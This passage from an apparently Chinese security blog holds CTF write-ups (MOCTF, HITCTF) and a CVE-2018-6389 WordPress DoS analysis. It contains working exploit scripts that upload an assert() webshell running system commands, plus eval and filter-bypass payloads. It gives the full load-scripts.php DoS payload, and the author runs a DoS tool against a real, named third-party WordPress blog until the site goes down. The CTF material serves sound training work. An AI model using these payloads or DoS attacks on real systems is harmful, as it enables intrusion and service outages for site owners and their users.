class="number">-1</span>]),$AllowedExt)){</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'error ext!'</span>);</span><br><span class="line"> }</span><br><span class="line"> $code=get_rand_code();</span><br><span class="line"> $finalname=$filename[<span class="number">0</span>].<span class="string">'moctf'</span>.$code.<span class="string">"."</span>.end($filename);</span><br><span class="line"> file_put_contents(<span class="string">"$savepath"</span>.$finalname, $content);</span><br><span class="line"> usleep(<span class="number">3000000</span>);</span><br><span class="line"> unlink(<span class="string">"$savepath"</span>.$finalname);</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'upload over!'</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$savepath=<span class="string">"uploads/"</span>.sha1($_SERVER[<span class="string">'REMOTE_ADDR'</span>]).<span class="string">"/"</span>;</span><br><span class="line"><span class="keyword">if</span>(!is_dir($savepath)){</span><br><span class="line"> $oldmask = umask(<span class="number">0</span>);</span><br><span class="line"> mkdir($savepath, <span class="number">0777</span>);</span><br><span class="line"> umask($oldmask);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_GET[<span class="string">'action'</span>]))</span><br><span class="line">{</span><br><span class="line"> $act=$_GET[<span class="string">'action'</span>];</span><br><span class="line"> <span class="keyword">if</span>($act===<span class="string">'upload'</span>)</span><br><span class="line"> {</span><br><span class="line"> $filename=$_POST[<span class="string">'filename'</span>];</span><br><span class="line"> <span class="keyword">if</span>(!is_array($filename)) {</span><br><span class="line"> $filename = explode(<span class="string">'.'</span>, $filename);</span><br><span class="line"> }</span><br><span class="line"> $content=$_POST[<span class="string">'content'</span>];</span><br><span class="line"> waf($content);</span><br><span class="line"> upload($filename,$content,$savepath);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span>($act===<span class="string">'test'</span>)</span><br><span class="line"> {</span><br><span class="line"> test_rand_code();</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span> {</span><br><span class="line"> highlight_file(<span class="string">'index.php'</span>);</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><br>解释一下题目的意思<br>根据action执行对应操作,<code>action=test</code>会调用<code>test_rand_code</code>函数发送tcp包到访客的ip<br><code>action=upload</code>时会写入一个文件,文件内容有waf拦截,文件名有白名单限制后缀,<br>然后拼接文件名加入rand的字符串,写入文件,文件写入后过3秒unlink删除<br>有问题的点有这几个<br>1.filename检查是用<code>$filename[count($filename)-1]</code>取的后缀,是按照下标取的,而写入文件时用的是<code>end($filename)</code>,是取最后一个元素,只要post时提交<code>filename[1]=jpg&filename[0]=php</code>就能绕过了<br>2.$content的waf绕过,<script language=php>xxxx</script> 绕过即可<br>3.使用rand()生成随机数,可以被预测,参考<a href="https://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/" target="_blank" rel="noopener">https://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/</a></p>
<p>预期解法是<br>1.username数组bypass后缀检查,绕过content的waf<br>2.rand随机数预测+爆破文件名 在unlink之前访问shell<br>结果大佬们直接非预期解bypass了<code>unlink</code>打扰了<br>非预期解参考<a href="http://skysec.top/2018/02/13/happymoctf之web全题解/" target="_blank" rel="noopener">一叶飘零</a>师傅的WriteUp<br>预期解如下<br>写两个脚本,<br>listen.py<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#监听8888端口,接受6个`get_rand_code`的结果,然后预测接下来一次`get_rand_code`的结果,这里可能不会很准确,</span></span><br><span class="line"><span class="comment">#所以需要小幅度爆破,复杂度大概为3^6,反正就跑着呗</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment">#-*- coding:utf-8 -*-</span></span><br><span class="line"><span class="comment">#by xishir</span></span><br><span class="line"><span class="keyword">import</span> requests <span class="keyword">as</span> req</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">from</span> socket <span class="keyword">import</span> * </span><br><span class="line"><span class="keyword">from</span> time <span class="keyword">import</span> ctime </span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> itertools <span class="keyword">as</span> its</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"></span><br><span class="line">r=req.session()</span><br><span class="line">url=<span class="string">"http://120.78.57.208:6005/"</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_rand_list</span><span class="params">()</span>:</span></span><br><span class="line"> HOST = <span class="string">''</span> </span><br><span class="line"> PORT = <span class="number">8888</span></span><br><span class="line"> BUFSIZ = <span class="number">128</span> </span><br><span class="line"> ADDR = (HOST, PORT) </span><br><span class="line"> tcpSerSock = socket(AF_INET, SOCK_STREAM)</span><br><span class="line"> tcpSerSock.bind(ADDR)</span><br><span class="line"> tcpSerSock.listen(<span class="number">5</span>)</span><br><span class="line"> rand_num=<span class="number">0</span></span><br><span class="line"> l=[]</span><br><span class="line"> <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> tcpCliSock, addr = tcpSerSock.accept() </span><br><span class="line"> <span class="keyword">while</span> <span class="literal">True</span>: </span><br><span class="line"> data = tcpCliSock.recv(BUFSIZ) </span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> data: </span><br><span class="line"> <span class="keyword">break</span> </span><br><span class="line"> data=data[<span class="number">0</span>:<span class="number">6</span>]</span><br><span class="line"> <span class="keyword">print</span> data,l</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> data:</span><br><span class="line"> l.append(ord(i)+<span class="number">1</span>-ord(<span class="string">'a'</span>))</span><br><span class="line"> rand_num+=<span class="number">1</span></span><br><span class="line"> <span class="keyword">if</span> rand_num==<span class="number">6</span>:</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> tcpCliSock.close() </span><br><span class="line"> tcpSerSock.close()</span><br><span class="line"> <span class="keyword">return</span> l</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_salt</span><span class="params">(l)</span>:</span></span><br><span class="line"> salt=<span class="string">""</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">6</span>):</span><br><span class="line"> j=len(l)</span><br><span class="line"> r=(l[j<span class="number">-3</span>]+l[j<span class="number">-31</span>])<span class="number">-1</span></span><br><span class="line"> <span class="keyword">if</span> r><span class="number">26</span>:</span><br><span class="line"> r-=<span class="number">26</span></span><br><span class="line"> <span class="comment">#print l[j-3],chr(l[j-3]+ord('a')-1),l[j-31],chr(l[j-31]+ord('a')-1),r,chr(r+ord('a')-1)</span></span><br><span class="line"> l.append(r)</span><br><span class="line"> salt+=chr(r+ord(<span class="string">'a'</span>)<span class="number">-1</span>)</span><br><span class="line"> <span class="comment">#print salt</span></span><br><span class="line"> <span class="keyword">return</span> salt</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_flag</span><span class="params">(salt)</span>:</span></span><br><span class="line"> s=hashlib.sha1(<span class="string">'119.23.73.3'</span>).hexdigest()</span><br><span class="line"> url1=url+<span class="string">'/uploads/'</span>+s+<span class="string">'/'</span>+<span class="string">'moctf'</span>+salt+<span class="string">'.php'</span></span><br><span class="line"> data={<span class="string">"a"</span>:<span class="string">"system('cat ../../flag.php');echo '666666';"</span>}</span><br><span class="line"> r2=r.post(url1,data=data)</span><br><span class="line"> <span class="keyword">print</span> salt</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'404'</span> <span class="keyword">not</span> <span class="keyword">in</span> r2.text:</span><br><span class="line"> <span class="keyword">print</span> r2.text</span><br><span class="line"></span><br><span class="line">get_flag(<span class="string">'aaaaaa'</span>)</span><br><span class="line">l=get_rand_list()</span><br><span class="line">salt=get_salt(l)</span><br><span class="line">s=<span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">100000</span>):</span><br><span class="line"> s=s+<span class="number">1</span></span><br><span class="line"><span class="keyword">print</span> s</span><br><span class="line">words = <span class="string">"10"</span></span><br><span class="line">o=its.product(words,repeat=<span class="number">6</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> o:</span><br><span class="line"> s=<span class="string">""</span>.join(i)</span><br><span class="line"> salt2=<span class="string">""</span></span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> range(<span class="number">6</span>):</span><br><span class="line"> salt2+=chr(ord(salt[j])-int(s[j]))</span><br><span class="line"> get_flag(salt2)</span><br><span class="line">words = <span class="string">"10"</span></span><br><span class="line">o=its.product(words,repeat=<span class="number">6</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> o:</span><br><span class="line"> s=<span class="string">""</span>.join(i)</span><br><span class="line"> salt2=<span class="string">""</span></span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> range(<span class="number">6</span>):</span><br><span class="line"> salt2+=chr(ord(salt[j])+int(s[j]))</span><br><span class="line"> get_flag(salt2)</span><br></pre></td></tr></table></figure></p>
<p>put.py<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#通过`?action=test`调用`test_rand_code`函数发送6次`get_rand_code`结果,一共36个字符,</span></span><br><span class="line"><span class="comment">#然后提交一个构造好的`?action=test`,上传shell到服务器,在被删除之前就会被listen爆破得到,没爆破到就多爆破几次</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment">#-*- coding:utf-8 -*-</span></span><br><span class="line"><span class="comment">#by xishir</span></span><br><span class="line"><span class="keyword">import</span> requests <span class="keyword">as</span> req</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"></span><br><span class="line">r=req.session()</span><br><span class="line">url=<span class="string">"http://120.78.57.208:6005/?action="</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_test</span><span class="params">()</span>:</span></span><br><span class="line"> url2=url+<span class="string">"test"</span></span><br><span class="line"> r1=r.get(url2)</span><br><span class="line"> <span class="keyword">print</span> url2</span><br><span class="line"> <span class="keyword">print</span> r1.text</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">upload</span><span class="params">()</span>:</span></span><br><span class="line"> data={<span class="string">"filename[4]"</span>:<span class="string">"jpg"</span>,</span><br><span class="line"> <span class="string">"filename[2]"</span>:<span class="string">"jpg"</span>,</span><br><span class="line"> <span class="string">"filename[1]"</span>:<span class="string">"php"</span>,</span><br><span class="line"> <span class="string">"content"</span>:<span class="string">"<script language='php'>assert($_POST[a]);</script>"</span>,</span><br><span class="line"> <span class="string">"a"</span>:<span class="string">"system('cat ../../flag.php');"</span></span><br><span class="line"> }</span><br><span class="line"> url1=url+<span class="string">"upload"</span></span><br><span class="line"> r2=r.post(url1,data=data)</span><br><span class="line"> <span class="keyword">print</span> r2.text</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">6</span>):</span><br><span class="line"> get_test()</span><br><span class="line">upload()</span><br></pre></td></tr></table></figure><br>运行结果如下<br><img src="/img/2018moctf2.png" alt=""></p>
<h1 id="感想"><a href="#感想" class="headerlink" title="感想"></a>感想</h1><p>讲一下这次比赛我主要干了那些事吧</p>
<ol>
<li>出题,如上所述</li>
<li>平台搭建,用的是ctfd,docker的方式搭建的,省了很多事</li>
<li>题目部署,除了ping那题,其他的web都是我部署的,尤其是cms那题,反复部署的有点吐,中间有个集大学弟来帮忙,后面比赛的时候还是出了问题</li>
<li>发布题目,emmmmmmmmmm,用ctfd的时候出现了很神奇的情况,在编辑config的时候使用谷歌的自动翻译,保存之后ctfd的web服务就挂掉啦!是个巨坑,现在还不知道咋回事</li>
<li>比赛时候的放题,放hint,运维,水群,哈哈哈哈和大佬们玩耍还是很开心的<br>放一些后台数据<br><img src="/img/2018moctf3.png" alt=""><br><img src="/img/2018moctf4.png" alt=""><br><img src="/img/2018moctf5.png" alt=""></li>
</ol>
<p>原来只是想给我们学校和集大的学弟们体验比赛的,不过对外开放也吸引了许多师傅们来做题,虽然运维得很累,但也学到了很多东西(主要是非预期和部署各种奇葩环境)<br>打一波广告,<a href="http://www.moctf.com/" target="_blank" rel="noopener">http://www.moctf.com/</a><br>MOCTF平台是CodeMonster和Mokirin这两支CTF战队所搭建的一个CTF在线答题系统。题目形式与各大CTF比赛相同。目的是为两个学校中热爱信息安全的同学们提供一个刷题的平台,能够一起学习、进步。</p>
<p>最后祝大家新年快乐!<br><img src="/img/2018moctf6.png" alt=""></p>
]]></content>
<summary type="html">
<p>从放假到现在筹办准备了接近两个星期的MOCTF新春欢乐赛终于落幕啦,这次比赛我一共出了1签到+1MISC+3WEB,下面先放官方WriteUp(哇终于能当一回官方了)<br>
</summary>
<category term="CTF" scheme="https://www.codemonster.cn/tags/CTF/"/>
<category term="WriteUp" scheme="https://www.codemonster.cn/tags/WriteUp/"/>
</entry>
<entry>
<title>CVE-2018-6389 WordPress通杀DoS漏洞分析</title>
<link href="https://www.codemonster.cn/2018/02/06/cve-2018-6389-analysis/"/>
<id>https://www.codemonster.cn/2018/02/06/cve-2018-6389-analysis/</id>
<published>2018-02-06T07:34:58.000Z</published>
<updated>2018-05-04T07:47:50.000Z</updated>
<content type="html"><![CDATA[<p>近日,<code>WordPress</code>爆出通杀所有版本的<code>DoS</code>漏洞,CVE编号<code>CVE-2018-6389</code>, 过去九年发布的几乎所有版本的WordPress都受影响,包括最新版本4.9.2,作者给出了poc视频及修补脚本,在poc中他发起的单个请求会导致服务器执行181个I / O操作,并在响应中提供文件内容,但Wordpress团队拒绝承认这个漏洞。<br><a id="more"></a></p>
<p>漏洞相关信息如下</p>
<h3 id="CVE-2018-6389漏洞概要"><a href="#CVE-2018-6389漏洞概要" class="headerlink" title="CVE-2018-6389漏洞概要"></a>CVE-2018-6389漏洞概要</h3><p>针对CVE-2018-6389漏洞情况,安全加整理了相关内容如下,这些内容可能来自于CVE-2018-6389涉及厂商、CVE-2018-6389漏洞信息发布组织、CVE、SecurityFocus及其它第三方组织。</p>
<h3 id="CVE-2018-6389漏洞标识"><a href="#CVE-2018-6389漏洞标识" class="headerlink" title="CVE-2018-6389漏洞标识"></a>CVE-2018-6389漏洞标识</h3><ul>
<li>CVE ID:CVE-2018-6389</li>
<li>BUGTRAQ ID:【BUGTRAQ ID】</li>
<li>漏洞涉及厂商漏洞库ID:【漏洞涉及厂商漏洞库ID】</li>
<li>CNNVD ID:【CNNVD漏洞编号】</li>
<li>绿盟科技漏洞库ID:【绿盟科技漏洞库ID】</li>
</ul>
<h3 id="CVE-2018-6389漏洞相关链接"><a href="#CVE-2018-6389漏洞相关链接" class="headerlink" title="CVE-2018-6389漏洞相关链接"></a>CVE-2018-6389漏洞相关链接</h3><ul>
<li>百度链接:<a href="https://www.baidu.com/s?wd=CVE-2018-6389" target="_blank" rel="noopener">https://www.baidu.com/s?wd=CVE-2018-6389</a></li>
<li>绿盟科技漏洞库链接:<a href="http://www.nsfocus.net/vulndb/{绿盟科技漏洞库ID}" target="_blank" rel="noopener">http://www.nsfocus.net/vulndb/{绿盟科技漏洞库ID}</a></li>
<li>Github链接:<a href="https://github.com/Quitten/WordPress/blob/master/wp-dos-patch.sh" target="_blank" rel="noopener">https://github.com/Quitten/WordPress/blob/master/wp-dos-patch.sh</a></li>
<li>漏洞作者链接:<a href="https://baraktawily.blogspot.in/2018/02/how-to-dos-29-of-world-wide-websites.html" target="_blank" rel="noopener">https://baraktawily.blogspot.in/2018/02/how-to-dos-29-of-world-wide-websites.html</a></li>
</ul>
<h3 id="CVE-2018-6389漏洞详情"><a href="#CVE-2018-6389漏洞详情" class="headerlink" title="CVE-2018-6389漏洞详情"></a>CVE-2018-6389漏洞详情</h3><p>漏洞位于<code>load-scripts.php</code>,该文件是为WordPress管理员设计的,允许将多个JavaScript文件加载到一个请求中,但研究人员注意到可以在登录之前调用该函数来允许任何人调用它,即任何人都可以调用它。<br>通过构造特殊的payload可导致服务器执行<code>181个I/O操作</code>,并发请求的情况下即可达到Dos的效果。<br>payload:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://mywpserver.com/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9</span><br></pre></td></tr></table></figure></p>
<h3 id="CVE-2018-6389漏洞测试"><a href="#CVE-2018-6389漏洞测试" class="headerlink" title="CVE-2018-6389漏洞测试"></a>CVE-2018-6389漏洞测试</h3><p>协会的大佬里貌似只有扣神是wordpress博客,对不起了扣神!<br><a href="http://blog.thecosmos.cn" target="_blank" rel="noopener">http://blog.thecosmos.cn</a><br>Dos脚本,启动<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python doser.py -t 10 -g "http://blog.thecosmos.cn/wp-admin/load-scripts.php?xxxxxxxxxxxxxxxxxx"</span><br></pre></td></tr></table></figure><br><img src="/img/CVE-2018-6389-1.png" alt=""><br>再打开网站看看,已经508了,其他人也打不开<br><img src="/img/CVE-2018-6389-2.png" alt=""><br>测试成功,Dos关闭</p>
<h3 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h3><ul>
<li><a href="http://toutiao.secjia.com/cve-2018-6389" target="_blank" rel="noopener">http://toutiao.secjia.com/cve-2018-6389</a></li>
<li><a href="https://baraktawily.blogspot.in/2018/02/how-to-dos-29-of-world-wide-websites.html" target="_blank" rel="noopener">https://baraktawily.blogspot.in/2018/02/how-to-dos-29-of-world-wide-websites.html</a></li>
</ul>
]]></content>
<summary type="html">
<p>近日,<code>WordPress</code>爆出通杀所有版本的<code>DoS</code>漏洞,CVE编号<code>CVE-2018-6389</code>, 过去九年发布的几乎所有版本的WordPress都受影响,包括最新版本4.9.2,作者给出了poc视频及修补脚本,在poc中他发起的单个请求会导致服务器执行181个I / O操作,并在响应中提供文件内容,但Wordpress团队拒绝承认这个漏洞。<br>
</summary>
<category term="CVE" scheme="https://www.codemonster.cn/tags/CVE/"/>
<category term="WordPress" scheme="https://www.codemonster.cn/tags/WordPress/"/>
</entry>
<entry>
<title>2018 HITCTF WriteUp</title>
<link href="https://www.codemonster.cn/2018/02/02/2018-hitctf-writeup/"/>
<id>https://www.codemonster.cn/2018/02/02/2018-hitctf-writeup/</id>
<published>2018-02-02T14:34:58.000Z</published>
<updated>2018-05-04T07:47:50.000Z</updated>
<content type="html"><![CDATA[<p>刚放假正好看到HITCTF,划了几道水题,WriteUp如下<br><a id="more"></a></p>
<h1 id="CRYPTO"><a href="#CRYPTO" class="headerlink" title="CRYPTO"></a>CRYPTO</h1><h3 id="单表代替-100"><a href="#单表代替-100" class="headerlink" title="单表代替 100"></a>单表代替 100</h3><p>用a-z代替各种罗马字符,然后<code>quipqiup</code>词频分析,然后找到稍微完整的句子去找到原文,最后替换完整的文章,flag在末尾<br>HITCTF{Aft3r_all_t0morrow_1s_anoth3r_day}</p>
<h1 id="REVERSE"><a href="#REVERSE" class="headerlink" title="REVERSE"></a>REVERSE</h1><h3 id="Baby-Android-50"><a href="#Baby-Android-50" class="headerlink" title="Baby Android 50"></a>Baby Android 50</h3><p>apk名字是xor,用改之理或者apkkill打开apk,反编译后发现两串字符,<code>异或</code>一下得到flag</p>
<h1 id="WEB"><a href="#WEB" class="headerlink" title="WEB"></a>WEB</h1><h3 id="PHPreading"><a href="#PHPreading" class="headerlink" title="PHPreading"></a>PHPreading</h3><p><code>index.php.bak</code>泄露了源码<br>get一个<code>asdfgjxzkallgj8852</code>参数,值为<code>H1TctF2018EzCTF</code>即可拿到flag</p>
<h3 id="BabyEval"><a href="#BabyEval" class="headerlink" title="BabyEval"></a>BabyEval</h3><p>题目给了源码<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><!--</span><br><span class="line">$str=@(string)$_GET[<span class="string">'str'</span>];</span><br><span class="line">blackListFilter($black_list, $str);</span><br><span class="line"><span class="keyword">eval</span>(<span class="string">'$str="'</span>.addslashes($str).<span class="string">'";'</span>);</span><br><span class="line">--></span><br></pre></td></tr></table></figure><br>传入<code>str={${phpinfo()}}</code>可以执行,于是构造<br><img src="/img/2018hit1.png" alt=""><br>具体原理可以参考<code>wooyun-2010-024807</code></p>
<h3 id="BabyLeakage"><a href="#BabyLeakage" class="headerlink" title="BabyLeakage"></a>BabyLeakage</h3><p>主页提示要进<code>/news/about/</code>,进去后提示启用了<code>debug</code>,构造<code>/news/about/1</code>发现报错,有个<code>news/auth</code> 路径很可疑<br>打开发现报错给了很多东西,有个数据库账号密码,进数据库后把字段拼起来就是flag<br><img src="/img/2018hit2.png" alt=""><br><img src="/img/2018hit3.png" alt=""></p>
<h3 id="BabyInjection"><a href="#BabyInjection" class="headerlink" title="BabyInjection"></a>BabyInjection</h3><p>题目给了源码<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="keyword">isset</span>($_POST[<span class="string">'username'</span>]) || !<span class="keyword">isset</span>($_POST[<span class="string">'passwd'</span>])) {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'Login and get the flag'</span>;</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'<form action="" method="post">'</span>.<span class="string">"<br/>"</span>;</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'<input name="username" type="text" placeholder="username"/>'</span>.<span class="string">"<br/>"</span>;</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'<input name="passwd" type="text" placeholder="passwd"/>'</span>.<span class="string">"<br/>"</span>;</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'<input type="submit" ></input>'</span>.<span class="string">"<br/>"</span>;</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'</form>'</span>.<span class="string">"<br/>"</span>;</span><br><span class="line"> <span class="keyword">die</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$flag = <span class="string">''</span>;</span><br><span class="line">$filter = <span class="string">"and|select|from|where|union|join|sleep|benchmark|,|\(|\)|like|rlike|regexp|limit|or"</span>;</span><br><span class="line"></span><br><span class="line">$username = $_POST[<span class="string">'username'</span>];</span><br><span class="line">$passwd = $_POST[<span class="string">'passwd'</span>];</span><br><span class="line"><span class="keyword">if</span> (preg_match(<span class="string">"/"</span>.$filter.<span class="string">"/is"</span>,$username)==<span class="number">1</span>){</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">"Hacker hacker hacker~"</span>);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span> (preg_match(<span class="string">"/"</span>.$filter.<span class="string">"/is"</span>,$passwd)==<span class="number">1</span>){</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">"Hacker hacker hacker~"</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$conn = mysqli_connect();</span><br><span class="line"></span><br><span class="line">$query = <span class="string">"SELECT * FROM users WHERE username='{$username}';"</span>;</span><br><span class="line"><span class="keyword">echo</span> $query.<span class="string">"<br>"</span>;</span><br><span class="line">$query = mysqli_query($conn, $query);</span><br><span class="line"><span 